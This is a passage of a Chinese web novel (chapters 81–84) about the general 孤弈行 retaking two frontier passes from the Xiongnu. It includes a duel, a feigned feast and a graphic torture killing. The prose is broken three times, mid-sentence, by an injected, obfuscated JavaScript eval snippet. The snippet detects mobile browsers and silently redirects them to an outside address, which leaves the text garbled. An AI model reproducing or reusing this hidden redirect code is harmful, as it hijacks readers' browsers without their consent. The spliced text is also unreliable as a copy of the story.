此时的玉临关已有半月滴水未下干旱至极,数万火箭齐射,顿时玉临关城墙上和城外火势迅猛,匈奴军队顿时身处火海之中,惊恐的惨叫声几乎要将整个大漠淹没。 孤弈行本以为在此情况下符时清会下死令进城后禁闭城门,却不成想匈奴军队回撤后竟任由城门大开,且很快不见人影。 “元帅,城门大开,是否进城?”胡永刚道。 孤弈行侧身与言煜对视。 “符时清作战经验丰富,断然不会因为一时失利犯下如此严重的错误。”言煜抿唇道,“只能说明城中有诈。” 孤弈行笑着勾了勾唇:“不错,城中有埋伏,但若不深入便始终无法突破。” “老胡,带第三营的兄弟们登上城墙,随时准备以弓箭支援。” “是!元帅放心!”胡永刚应道。 “其他所有人,每人手持发光弹和匕首,随我入城!” “是!” 话音未落,孤弈行率军骑马入城。 城中一片漆黑,没有一丝光亮。一进入城中,骑兵便没有了优势,在狭窄的街道中行进马匹反而成了更容易被突破的目标,是以孤弈行让众人下马步行,手持火折。 城中到处都是沙粒和风化形成的岩石,孤弈行明白此刻的危险。眼下敌在暗他们在明,每走一步都必须谨慎小心。 “陆耳。” “在!”陆耳得令走到孤弈行身前,“元帅有什么命令?” “你的耳朵好使,仔细听听城中附近的声响。”孤弈行道。 “是。”陆耳走在队伍最前方,仔细听着附近的声响。 大军往前行进了一段距离,孤弈行见陆耳突然面色凝重。 “元帅,附近有呼吸声,还有衣服的摩擦声。”陆耳轻声道。 “能听出具体方位吗?”孤弈行眉心微蹙。 “声音相对分散,但是左前方沙丘背后人应该最多。” “大家准备。”孤弈行从腰间取下一个发光弹,随即往陆耳所指的左前方沙丘投去。 发光弹顿时将沙丘背后照亮,果然见到一众匈奴埋伏在此,为首的正是符时清。 孤弈行下令快射弓弩,匈奴大多来不及躲闪,死伤惨重。符时清眼看计划落空干脆不死不休,周围埋伏的匈奴士兵纷纷现身与雍军展开缠斗。 “焕卿,你留下这儿指挥大局,我去去就回。”孤弈行侧身道。 言煜知孤弈行想要擒贼先擒王与符时清展开决斗,他心中虽有担忧却也知晓这是眼下减少伤亡最好的办法。 “一定要小心,我等你回来。”言煜声音低沉。 孤弈行勾了勾唇:“放心。” 言罢孤弈行消失在黑暗中。 81. 死斗 孤弈行与言煜分别后手持佩剑直往符时清藏身方向而去,符时清见状侧身躲避,随即翻身上马策马离开沙丘,孤弈行夺过匈奴的马匹紧随其后,一直紧随其踪迹入了一片荒漠。 此时天光逐渐浮现,人影再无处遁形,孤弈行见符时清突然停止策马狂奔而是调转马头与自己对峙。 “你带我来这儿想干什么?”孤弈行手持缰绳与符时清对视。 “你来不就是来和我决斗的吗?”符时清声音清冷。 孤弈行闻声勾了勾唇,笑容恣意:“既然符将军知道我的用意,为何方才不在城中决斗。” “因为我想和你堂堂正正地决斗,只有我们两个人。”符时清抬眸。 这个符时清,倒是有点骨气。孤弈行心想,不过终究是太傲了些。 “我承认,武延城一役我输给了你,但不代表我这次我还会输。” 言罢,符时清踏马持长枪向孤弈行挥来,孤弈行很快反应过来压低声面躲过一招,随即抬起长枪向符时清刺去。 长枪在空中相交,铛铛的撞击声顿时在空旷的荒漠弥漫,令人几乎喘不过气来。 孤弈行心知经过上次交手对方熟悉她的招式有所准备,是以凌空而起一改枪势,接连甩出三枪直指符时清要害。 符时清显然愣了一下侧身躲避,但终究是因为躲避不及使得长枪划破了素白柳叶甲,右侧肩胛处被刺开了一道血淋淋的口子。 孤弈行没有就此停下依旧攻势迅猛,长枪在她的手中一收一放,一倾一旋,犹如一条游龙在空中翻腾,每落一处都伴随着疾风的咆哮。 此刻长枪在她的手中已不只是简单的兵器,更是随她出生入死,能定人生死的杀器。她长眉微蹙,眼神凌厉,不怒自威,令人见了不由得敬畏三分。 符时清起先还能接住对方招式,但慢慢地逐渐有些力不从心,招架不住。他知晓再这么下去自己败下阵来,不过是时间问题,他本以为这次自己做足了准备可以一雪前耻,没想到还是输给了面前的人。 面前女子出枪极为果决,且大开大合变幻莫测,是他见过最难缠的对手。而她对于阵法似乎也有极深的理解,是以才能突破他设的局,化被动为主动。 想到此处,符时清翻身下马。 孤弈行见状有些吃不准对方的心意,但却也不想胜之不武,是以也随之翻身下马,二人直接对峙。 “虽然我因为上次败在你手里心生怨怼,但我不得承认你是我见过最好的帅才。” 孤弈行默声不语。 符时清立在原地,良久陡然一笑:“如果不是立场不同,我还真想和你成为朋友。” 孤弈行不曾想到符时清会这么说,但当她见他已浑身是伤之时突然明白了。他似是已然料定了死局,他要死守他的忠义,是以才在此刻短暂地放下敌人的身份和她说这些。 其实,符时清的确是她见过不错的对手。 “但我一直有个问题想问你。” 声声入耳,孤弈行抬眸对符时清对视。 “你真的,只是洛川吗?你到底是谁?” 孤弈行勾了勾唇,神色不显:“我为何不能是洛川?” “你瞒得了别人,却瞒不过和你交手的敌人。”符时清眉头微皱,没有丝毫犹豫,“你的招式,兵法绝非一朝一夕能练出来的。将军的经验是在战场上厮杀出来的,你说你只是洛川,又如何在这么短的时间内学会这些,并且了然于胸?” 言已至此,孤弈行知晓符时清已然生疑,怕是轻易瞒不过了。不过她与符时清今日本就是单挑死斗,只有一个人能活着走出这片荒漠,既如此,告诉他也无妨。 “那你觉得我是谁?”孤弈行定了定神,恣意一笑。 符时清死死地盯着面前女子,握紧长枪的右手微微攥紧,呼吸几乎停滞。 “在下孤弈行,幸会。”孤弈行眼尾微微上扬,随即取下人皮面具。 果然是她。符时清望着面前生着一双自带风流的桃花眼和剑眉的女子,一切疑惑在此刻有了答案。 他早听前辈提起过祁国女王当年平天下的风采,虽然立场不同却也对其心生敬佩,只恨自己入军太晚不曾有机会与她正面交锋。但如今,他倒是没了遗憾。 符时清怅然一笑:“原来你真的就是当年的祁国女王。” “不错,只是你我立场不同,今日是死战。”孤弈行声音清冷。 “对于一个将军来说,战死沙场,是他最好的结局。”符时清抿唇一笑,似乎已然看淡一切,旋身全力向孤弈行刺去。 孤弈行随即右手撑着地面,一个矮身避开他的枪锋,符时清顿时有些失了重心,往前一冲,孤弈行便趁机持枪向上一挑,便卸了他的长枪。 符时清见武器被卸转身欲去取,却被孤弈行拦住。孤弈行也丢了长枪,化手为掌向符时清劈去。 符时清早已有些坚持不住,此时躲避不及左胸处生生受了孤弈行一掌,整个人向后退了三四部才勉强立住。 他右手捂着胸口,眉头紧皱,感觉喉咙里满是血腥气。很快,他便没能忍住口吐鲜血,面露痛苦。 孤弈行知符时清已是强弩之末,她方才那一掌用了七成内力,符时清此时已然心脉受损,无药可救,不过是强撑。她本欲转身离开,却听得他叫住了自己。 “祁国女王……我早就听闻你孤云平天的独门剑法天下无双,不知今日可否……有幸一会?”符时清忍不住咳嗽,声音泛着嘶哑。 孤弈行定了定神,随即转身对上符时清的目光。 他终究是个可敬的对手,他的最后一个心愿,她倒有些不忍心拒绝。 只是此处并无仗天,也无长剑,只有长枪,是以孤弈行将长枪抛给符时清,自己也同样拿起长枪迎敌。 孤弈行循着记忆中的感觉,她出招的速度极快且招式凌厉,有大开大合之势,变幻莫测,不拘小节,卷起阵阵沙粒。 相比当年与永徽交手的时候,孤弈行能感觉到孤云平天已然被她用得更为得心应手。时光飞逝,很多事情早已物是人非,想来这还是她时隔七年后第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109521|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次完完整整地使出孤云平天。 待到最后一招将至,孤弈行长枪一旋,直直刺入符时清胸口。 她方才一掌已然断了他的生路,或许这样,他可以少受些痛苦。 符时清口吐鲜血,发髻散落,整个人显得有些狼狈,与孤弈行初见时的银甲少将判若两人。孤弈行收回长枪,符时清便双腿一软,跌倒在地上。 “多……谢……”符时清望着孤弈行,眼神已有些恍惚。 孤弈行望着地上奄奄一息的符时清,良久声音清冷:“收复双关后我会率军攻入匈奴王城,若你愿意我会命人把你的尸骨带回去。” 声声入耳,符时清微愣,随即怅然一笑,微微抬手抱拳。 孤弈行点了点头,随即转身离去。 待孤弈行再度回到城中,城中的匈奴残军已被雍军剿灭殆尽,孤弈行远远望见言煜站在与自己分别的地方,显然已经等候多时。 “元帅回来了!”胡永刚道。 言煜闻声转身,见孤弈行已站在自己身前。他低头见孤弈行右手护腕上溅满了血,顿时心头一沉眉头紧锁:“受伤了?” 孤弈行抬头看着言煜的眼睛,笑着摇了摇头:“我没事,是符时清的血。” “他……”言煜欲言又止。 “死了。”孤弈行道。 言煜点了点头。 “不过我答应了他,等我们率军攻入匈奴王城把他的尸骨带回去。”孤弈行淡然一笑。 “好。”言煜抿了抿唇,“眼下玉临关已破,接下来有什么打算?” 孤弈行眉心微蹙:“兄弟们奔波多日,若是此时直接强攻怕会造成很大伤亡,若我们能智取方为上策。” 言煜不予置否:“两关之间消息流通不顺,或许可以借此大做文章。” 孤弈行随即打了个响指:“没错我也是这么想的!” “不过……这次还要靠你。”孤弈行挑了挑眉。 “靠我?” 孤弈行笑着点了点头。 次日晌午时分,嘉南关。 这一日来玉临关迟迟没有消息传来,乌桑坐在城墙上心里却似热锅上的蚂蚁一般煎熬。正当他有些熬不住欲起身离开之时,却听得身旁士兵激动地指着什么。 “军师!是银甲!是符将军!” 声声入耳,乌桑立刻站了起来走到城墙边向远处望去,的确见为首一人身着素白柳叶甲,头戴银质面具,身形与符时清相仿。 他的身后还跟着不少残兵,个个身着匈奴士兵服饰,其中大部分身上都挂了彩,似是经过了一番鏖战勉强逃过一劫。 “军师,我们是否要开城门接符将军?”一旁的匈奴士兵道。 乌桑居高临下盯着身着白衣银甲的男人的身影,默声不语。 尽管他见此人像是符时清,心中却也有些怀疑,毕竟雍军前几日在攻打玉临关,符时清作为镇守玉临关的大将又怎会无辜来他镇守的嘉南关?这着实有些反常。 “先不急着开城门。”乌桑眼眸阴沉。 82. 鸿门宴 “是……”匈奴士兵有些不解,却也只好作罢。 乌桑俯身向下望去,见符时清正手握缰绳抬头看着自己。 “军师见了本将为何不开城门?”符时清声音清冷。 乌桑不为所动,眼神泛着阴冷:“符将军,我听闻眼下雍军正在攻打玉临关,符将军不在玉临关守着怎么有空来我嘉南关了?” 符时清丝毫不乱,冷哼一声,抬眸道:“雍军数倍于我,本将率军死战最后还是让他们占领了玉临关,只有这些兄弟与本将突出重围。” 乌桑定了定神,冷笑道:“这么说……符将军是弃城而逃?” 乌桑与符时清本就不睦,不久前又知晓先前武延城一战舅舅乌野之死与符时清放任不管脱不了干系更是心生怨怼,此时见符时清丢了玉临关来投奔他更是心绪难平。 符时清冷冷地盯着乌桑,倒让乌桑感觉到了一种极强的压迫感。 “本将是不是弃城而逃恐怕还轮不到乌军师说了算。”符时清勾了勾唇,神色不明,“乌军师对着为王上出生入死的士兵说这些话,又将本将拒之城外,是想与我符家为敌吗?” 声声入耳,乌桑脸色顿时青中泛白,抚在城墙上的右手微微攥紧。 他是看不惯符时清,但就算符时清打仗失利他也不得不顾虑符时清背后的符家。符家乃匈奴权势最盛的将门贵族,即使眼下王族的实权已握在他和王后手中,他们要想护住疆土仍需要符家这把刀,是以此刻他的确能针对符时清,但却不能平白无故要了他的命。 想到此处,乌桑收了几分戾气陪笑:“符将军多虑了,我绝无此意。传我令开城门!” “是!” 一声令下,嘉南关城门大开,符时清率军入内,与身旁女扮男装的女子相视一笑。 乌桑随即下了城墙,很快迎了上来。 符时清看了一眼乌桑,神色不显:“大敌当前,乌军师倒是还有力气把枪口指向自己人。” 乌桑愣了一愣,心知是自己方才一时冲动贸然开罪符时清在先,是以笑道:“符将军这是哪儿的话?我那不是怕被洛川钻了空子不是?符将军请。” “眼下敌军已攻破玉临关,想必很快就会朝着嘉南关而来,乌军师可有什么好主意?” 乌桑闻声阴笑:“如若他们敢来,我定会让嘉南关成为他们的埋骨之地,满城百姓也会为他们陪葬!” “哦?乌军师这么有把握?”符时清挑了挑眉,眼眸深邃。 “当然,我可不像将军一般喜欢做君子直面敌人。”乌桑眼睛半眯,黑色的瞳孔却似一泓幽静的深潭,冷得瘆人,“将军可记得涣神散?” 符时清顿了一顿:“自然记得,是我匈奴的秘制毒药。” “当年的凤希帝孤弈行就是败在这毒药手上,只要中了毒,任凭武功再高强的人都难逃一死。” 符时清冷哼一声:“怪不得乌军师一副高枕无忧的样子,原来早就想好了对策,却让本将和弟兄们去送死啊。” 声声入耳,乌桑笑容逐渐僵硬,随即咳嗽掩饰:“先前毒药尚未配置完成,我也是怕误了计划让王后怪罪。” 符时清笑了笑,良久道:“本将累了,就先回去了,这里就交给乌军师了。” 乌桑笑了笑,目送着符时清和一众受了伤的匈奴士兵消失在视线之中后收回笑意。 与乌桑分别后符时清与一众匈奴士兵进入了一间客栈,符时清与女扮男装的女子单独入了房间,随后带上了门。 “果然如你所料,乌桑早有后手。”言煜取下银质面具放在桌上,望着孤弈行眉头不展。 孤弈行倒了一杯茶:“乌桑此人一贯阴险狡诈,为达目的不择手段。他方才说要拿全城人的命陪葬,我们必须阻止他的计划。” 言煜点了点头:“我怀疑他会把全城的百姓当作人质阻止我们攻城。” 孤弈行不予置否,眉心微蹙:“方才我们进城之后的确很少见到百姓,我怀疑是乌桑将他们抓了起来集中在一个地方,我们必须找到这个地方。” “我会让飞鸢他们去找的。”言煜道,“只是乌桑手中恐怕有大量涣神散,而我们的解毒丸只有不到十颗,一旦更多人中毒我们将无计可施。” 孤弈行勾了勾唇,似是早有安排:“这我先前料到了,从京都启程之前我已然给素掌门和千衣前辈飞鸽传信,算算日子他们应该已经到玉临关了。” “如此便好。”言煜松了一口气,神色渐缓。 就在此时,外面传来一声叩门声。 言煜随即戴上面具,二人保持警觉。 “何事?”言煜压低声音道。 “符将军,乌军师说您近日守城实在辛苦,特意为您在军师府设了晚宴替您接风洗尘,小的前来请您过去。” 孤弈行微微皱眉,与言煜对视。 “知道了,你先下去吧,本将很快便来。”言煜神色不显。 “是。” 孤弈行察觉到门外的脚步声逐渐消失才开口:“方才乌桑才与符时清剑拔弩张,如今却主动退一步设宴为他接风洗尘只怕有诈。” 言煜微微颔首,薄唇轻抿:“会不会是他怀疑我们身份?” “事已至此,若是不去反而应证了他的怀疑。”孤弈行挑了挑眉,望着言煜的眼睛恣意一笑,“你怕吗?” “不怕。”言煜对上孤弈行动眼神,坚定地摇了摇头,“有你在身边我从未怕过。” 孤弈行嘴角微微上扬,拍了拍言煜的肩膀:“好!那管它是接风宴还是鸿门宴,我们都去闯一闯!” “嗯。” 片刻后,言煜和孤弈行起身走出客栈,客栈外果然有一着匈奴军装的小卒等候多时。 “符将军请。”小卒笑着微微欠身,随即侧身给二人带路。 言煜点了点头,没走几步转身却发现孤弈行被拦住。 “抱歉这位小兄弟,我们军师只说了请符将军,还请小兄弟在客栈候着。”小卒陪笑道。 “他是本将的贴身侍卫,从来都是寸步不离。”言煜正色道。 小卒苦笑,似是有些为难:“并非小的要为难这位小兄弟,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118603|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军师的命令小的实在不敢违背,还望符将军不要为难小的。” 声声入耳,孤弈行心中有了一番思量。她勾了勾唇,上前道:“这位大哥,军师是不是说只许我家将军一人赴宴?” “是啊。”小卒连连点头。 “那军师可有说只许将军一人跟你走呢?”孤弈行眉眼轻扬。 “可是……”小卒挠了挠头,眉头紧锁,“可是这有什么区别呢?” “当然有区别。”孤弈行挑了挑眉,“你听的是军师的命令,而我听的是将军的命令。这样,我先跟着将军,等到亲眼看到将军平安入了军师府我再离开,这样也不算让你违背了军师的意思,如何?” “这……好吧,那二位随我来吧。” “多谢大哥。”孤弈行点了点头,和言煜相视一笑。 小卒领着二人到了军师府门口,转身看着孤弈行。 孤弈行见状笑了笑:“既然将军平安到了军师府,那我就放心了,我先走了。” 小卒点了点头,看着孤弈行的身影消失在视线之中,舒了一口气。 “符将军请。” 另一边,孤弈行离开小卒视线后没有离开,而是在军师府外转了一圈,找到了一面废弃的墙翻墙入了宅院。 得知乌桑要为符时清接风洗尘之时孤弈行就觉得不对劲,方才那小卒故意要将她支开便更应证了她的猜测。如此来看,这接风宴摆明了就是一场鸿门宴,言煜孤身入内必会遇到危险,她不可能放任不管。 再者,乌桑以为他掌握了先机,但一切还未结束,鹿死谁手尚未可知,她或可抓住这次机会一击绝杀。 孤弈行正想着,却听到不远处传来一阵脚步声。她立马寻找掩体躲入,而后发现是一座假山,看来是军师府的后花园。 孤弈行藏在暗处查看,见来者是一个着青荷芙蓉裙的年轻妇人,身边还带着一个贴身丫鬟。 “小姐,您今日好像有些怪怪的。” 孤弈行见那年轻妇人向假山这处走过来便往假山更深处靠去。 “翠霞,你觉得是为何?”年轻妇人道。 那被唤翠霞的小丫鬟低头思索了一番,随即压低声音道:“莫非小姐是因为玉临关的事?听说前几日骠骑将军洛川率军攻打玉临关了。” “你倒是懂我。”年轻妇人苦笑,眼底神色不明,“玉临关和嘉南关落入匈奴手中这么多年了,这后院生不如死的日子我也过够了,只是不知这一次是否真的能逃脱。” 声声入耳,孤弈行眉心微蹙。听这年轻妇人的话,她竟不是匈奴人,而是雍国人,是被迫入了军师府后院的,这对她来说或许是个机会。 年轻妇人言罢继续往前走,孤弈行看准时机将她拉入假山挟持住。 妇人惊魂未定,丫鬟翠霞眼看着就要叫人,孤弈行道:“我并无恶意,只是我与小姐同是雍国人,想让小姐帮我一个忙。” 妇人深吸了一口气,看着孤弈行的眼睛。 “只要你们不闹出大动静,我保证你家小姐没事。”孤弈行与翠霞对视。 83. 黄雀在后 翠霞连连点头,捂住了自己的嘴。 “你……是何人?想要我……帮你什么忙?”妇人抬头望着孤弈行,声音微微发颤。 “方才听到小姐是雍国人?”孤弈行反问。 妇人微微颔首,眼神压抑:“是,我名谷玉,我爹是城中的生意人,匈奴占领嘉南关后有一日乌桑在街上偶然遇到了我,后来……我就被迫来到了军师府。” “这些年我一直想逃出这座困住我的牢笼,但是乌桑此人心思极重且善猜忌,我始终没有找到机会。” 孤弈行见谷玉神色不似作伪,心中顿时笃定了几分,将手中匕首收回鞘中,谷玉舒了一口气后退几步。 “方才一时情急冒犯了,既然谷小姐坦诚相待,我便有话直说了。” 孤弈行抬眸与谷玉对视:“我是朝廷的人,是来救所有嘉南关的百姓的。” 谷玉微微一愣,随即眼神泛起一丝笑意,激动地上前一步:“真……真的吗?” “千真万确。”孤弈行点了点头,“但我们现在遇到了困难,还需要谷小姐相助。” “我?”谷玉微微蹙眉,“可是我只是一介后院妇人,只怕是有心无力。” 孤弈行勾唇一笑:“谷小姐放心,这个忙你能帮。” “好。”谷玉浅笑着点了点头。 片刻后,孤弈行在谷玉的帮助下换上了府上丫鬟的衣裳跟在谷玉身边,谷玉一路往灶房而去。 灶房内几个丫鬟正在烹制晚上宴会的菜品,见谷玉来了纷纷行礼。 “谷小姐怎么来了?”其中一个丫鬟笑道。 谷玉抿唇笑了笑:“听说今日府上来了客人,我过来看看菜品烹制得如何了。” “都烹制得差不多了,谷小姐放心。” 谷玉点了点头:“那便好。” 就在此时,几个丫鬟端着菜品走了出去,灶房内顿时只剩下一个丫鬟。孤弈行趁机绕到那丫鬟背后将她打昏,而后将其拖入柴房捆住手脚,又将她的嘴用布塞得严严实实。 谷玉定了定神,轻声道:“我也只能帮大人到这里了,大人万事小心。” “多谢谷小姐。”孤弈行嘴角微微上扬,走了几步却是想到什么再次转身。 “如果行动失败,谷小姐就一口咬死毫不知情,或是受我所迫。”孤弈行眼神坚毅。 谷玉良久道:“好。” 孤弈行笑着点了点头,随后端着菜肴走入前厅。 前厅内宴会已然开始,乌桑身居主座,言煜则坐在他的左侧。 “符将军这些日子辛苦了,今日我与符将军一醉方休!喝!”乌桑笑着举起酒杯,目光始终停留在言煜身上。 言煜也举起酒杯,与乌桑对望:“军师好意符某心领了,只是眼下雍军危机未除,我等还是不要喝醉为妙。” 声声入耳,乌桑眉眼间闪过一丝阴险的笑意:“符将军这话说得倒是不错,不过我为将军设宴洗尘,到了内庭符将军还戴着面具是不是有些见外了?” “符某习惯了。” “早就听闻符将军生了一张俊俏的好面容,今日尽兴不如符将军摘下面具,我等都想一瞧符将军真容。”乌桑眼神阴郁,可谓是皮笑肉不笑。 言煜默声不语。 “符将军这是不给我等面子?”乌桑眯了眯眼,握着酒杯的右手微微攥紧,“只是不知符将军如此执着,是不想,还是……不能?” 就在此时,言煜余光瞥见端来菜品的丫鬟的面容有些熟悉,抬眸一看果然是孤弈行。自军师府门口分别后,她果然另找了方法混入府中。 眼下乌桑已然对他起疑,唯一的变数便是孤弈行了,他势必要给她制造一招制敌的机会,不然敌众我寡,他们二人都会被困死在这。 “军师这是哪儿的话?符某好心前来赴宴军师却对我百般刁难,这难道就是军师府的待客之道吗?”言煜冷笑着勾了勾唇,眼神丝毫不惧,“还是说军师早就对符某怀恨在心,想要公报私仇?” 乌桑眉眼染了几分愠色,却强忍着心绪阴险一笑,站起身来走到言煜身旁:“我对符时清怀恨在心不假,但是事已至此……言大人就不必再演戏了吧。” 言煜勾了勾唇。 “我的人方才传回消息,符时清早在玉临关就已经死了,所以你不是符时清,而是雍朝右相言煜。”乌桑抽了抽嘴角。 话音未落,众人拿起武器将前庭围了个水泄不通。 “不过我不得不承认言大人的确会演戏,我差点就被你骗了。”言罢乌桑取下言煜的面具,言煜抬眸与乌桑对视。 面具被摘下,言煜却依旧处变不惊,直直对上乌桑鹰隼般阴鸷的眼神,笑了笑:“乌军师难道以为本相会毫无准备而来?” 乌桑冷笑着摇了摇头:“不不不,言大人心思素来缜密,想必此时雍军已就在城外,但如若言大人在我手里,那骠骑将军和雍国士兵只怕都得忌惮三分。” 言罢乌桑欲从腰间拔出长刀架在言煜脖子上,却感觉背后泛起一阵凉意,待到反应过来一把短刀已生生架在自己的脖子上。 乌桑微微侧过头去,见此时挟持自己的正是刚才给言煜上菜的不起眼的小丫鬟,但当那人抬起头来他才算看清了她的脸。 洛川……乌桑心道不妙,脸色顿时暗沉下去。 他见过此人画像,也听知晓符时清用兵如神却几次三番败在这女人手里,此次命陨怕也是她的杰作。 他本想着擒住言煜占得先机,却没成想螳螂捕蝉黄雀在后,现在想来言煜这么快暴露身份或许也是他们计划里的一环,为的就是让他放松警惕。他终究是棋差一招。 “乌军师,现在应该忌惮的是你们吧。”孤弈行冷笑着勾了勾唇,将短刀刀刃紧紧贴在乌桑脖颈处。 乌桑微愣,随即大笑,笑容阴狠:“你们以为我输了吗?” “你们进城以来可曾发现街上很少有百姓?”乌桑抽了抽嘴角,双目通红,“他们都被我抓了,如若我死了,他们也都得死!” 就在此时,孤弈行看到前厅前空地的天空中出现了红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127918|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色烟雾,心中的石头总算落了地。 乌桑见状似是预料到了什么,唇角的笑意逐渐凝固,眉头紧锁。 “看到那信号弹了吗?我们的人已经得手了,你的计划落空了。”孤弈行一字一句道。 声声入耳,乌桑整个人瘫软了下来。 言罢孤弈行挟持着乌桑向外走去,一路上不少匈奴士兵围了过来,但介于乌桑在其手中不敢妄动。 孤弈行一路挟着乌桑到了城门前,言煜则守在她身边。 “军……军师……”守城门的匈奴士兵见乌桑在敌人手中,皆六神无主。 “给我上!杀了他们!”乌桑此时已然有些疯狂,高喝道。 “我看谁敢动!”孤弈行说着将刀刃贴近了些,生生在乌桑的脖子上划开了一道口子,鲜血顺着皮肤蜿蜒而下没入领口,将那些士兵又吓退了回去。 “开城门!” 匈奴士兵面面相觑,最终还是开了城门。 就在此时,乌桑咬了咬牙,轻挥衣袖,衣袖中顿时飘出白色粉末,然而孤弈行只是偏过头去呛了几声,不仅不曾放开他,反而心头一横,用力地踢了他的右腿膝盖,咔哒一声乌桑跪了下去,忍不住惨叫。 “你……你怎么会没事……”乌桑一边惨叫一边恶狠狠地盯着洛川。 “你还以为我会中涣神散的毒?”孤弈行冷笑着勾了勾唇,“我早就猜到你要用此大做文章,提前服了解药。” 而此时城门已然打开,门外的雍军逐渐进入嘉南关将匈奴军队控制住。 “言煜,这儿就交给你了,我还有些事……”孤弈行俯视乌桑,声音低沉,“要与他乌桑好好聊聊。” “好。” 声声入耳,乌桑眼眸深处闪过一丝惊恐。下一秒,孤弈行便挟持着乌桑走入了旁边的一处无人居住的宅院,带上了院门。 “洛……洛川……你……你要做什么?”乌桑被丢在地上,痛苦地捂着右腿膝盖道。 “乌桑,好久不见。”孤弈行勾了勾唇。 乌桑微愣,眉头紧锁:“你这话什么意思?” “我什么意思莫非你还没听出来?”孤弈行居高临下俯视着乌桑,眉眼清冷。 乌桑陷入了思考,他在此之前分明不曾见过骠骑将军洛川,可面前人却说她与他好久不见,并且此时抓他来此分明是像要报私仇,唯一一种可能便是她不是洛川,那她又是谁? 相仿的年纪,又都是女子,都擅排兵布阵……乌桑顿时反应过来,难以置信地望着面前女子。 “看样子你是记起我来了?”孤弈行恣意一笑,眼底却弥漫开杀意。 “你不是洛川……你是孤弈行!”乌桑发了疯似的向孤弈行扑上来。 孤弈行笑着推开乌桑使其摔倒在地,撕开附在她真正面容之上的那张人皮面具,与乌桑对视。 “真的是你……你竟然没死!那瞎了眼的蠢皇帝还让你做了他的左膀右臂!”乌桑大笑,随后突然冷静下来,“不!不止!还有言煜!他也是你的人!” 84. 帝归来(正文结局) 声声入耳,孤弈行冷笑着抽了抽嘴角:“现在知道了?可惜……晚了!” “他不会放过你的!”乌桑嘶吼着,眼睛死死盯着孤弈行。 “他放过我?”孤弈行好像听到了什么天大的笑话,捧腹大笑,“我孤弈行何时需要他放过我?” 乌桑后背一凉。 “他应该想的是,我不会放过他。”孤弈行眼神冷入骨髓,落在乌桑眼中犹如抹了砒霜的刀刃划开皮肉。 “不过……”孤弈行双手抱胸,冷冷一笑,“你既然这么记挂喻威,那不如你先走一步,我保证他很快就会来陪你的。” 话音未落,乌桑眼眸深处闪过一丝惊恐,随后拼了命地捂着断腿挣扎着想要往后退,却被孤弈行拦住去路。 孤弈行饶有兴致地把玩着手中短刀,随后擒住乌桑用力刺入他的左腿膝盖,顿时鲜血淋漓,乌桑痛苦地抽搐。 “这一刀,是为在青川战死的兄弟。” 孤弈行眼神狠绝,言罢果断拔出短刀,乌桑脖颈处青筋凸起,眼底满是血丝。 孤弈行继续打量着他,乌桑凭着仅存的一点意识想要往后退还是被孤弈行制住,她瞄准他的左手手臂狠狠刺入。 “啊……”剧烈的痛感几乎快要把乌桑逼疯。 “这一刀,是为祁州受涣神散之苦的百姓。” 孤弈行言罢再次抽出短刀,而后快速刺入乌桑右手手臂,乌桑顿时筋脉寸断,瘫倒在地动弹不得,只能看着孤弈行剧烈喘息。 “这一刀,是为双关百姓多年受你们欺辱压迫之苦。” 乌桑已经被折磨得说不出话来,只能眼睁睁地看着孤弈行靠近。 “想要我给你个痛快?”孤弈行挑了挑眉,眼神随即冷了下去,一字一句道,“休想……我会让你一点点感觉到全身鲜血流尽的感觉,即使这样还是洗不清你犯下的罪孽!” 孤弈行勾了勾唇起身:“剩下的时间,就让你留在这儿好好享受吧。” 话音未落,孤弈行拿出绣衣袖中的方帕擦干了短刀上的血迹,而后将短刀收入鞘中插回腰间。她最后转身冷冷地看了一眼瘫在地上奄奄一息,身边晕开一大片鲜红血迹的乌桑,转身离去。 孤弈行重新带上人皮面具离开宅院,却见城门处围了不少百姓,见她走来竟欲跪,她立马上前将为首的妇人扶起。 “诸位这是做什么?” “要不是将军和这位大人,只怕我们全程都没有活路,我等多谢将军和大人的救命之恩!”为首的妇人言辞恳切,眼眸含泪。 “玉临关和嘉南关本就是我国国土,双关的百姓更是我国子民,这些都是洛川分内之事,诸位不必如此。” “洛川保证,以后再不会有匈奴来犯,定让你们安居乐业。”孤弈行眼神坚毅。 “多谢将军!” 收复嘉南关后,孤弈行率军一路直捣匈奴王城,没了乌桑和符时清这两员大将,匈奴王后很快不敌对手弃城而逃却被孤弈行擒住,匈奴国自此覆灭。 正当所有人都沉浸在击败匈奴的喜悦中时,坐在火堆边的孤弈行却依旧心事重重。 “在想什么?”言煜察觉到孤弈行的心事,轻声问道。 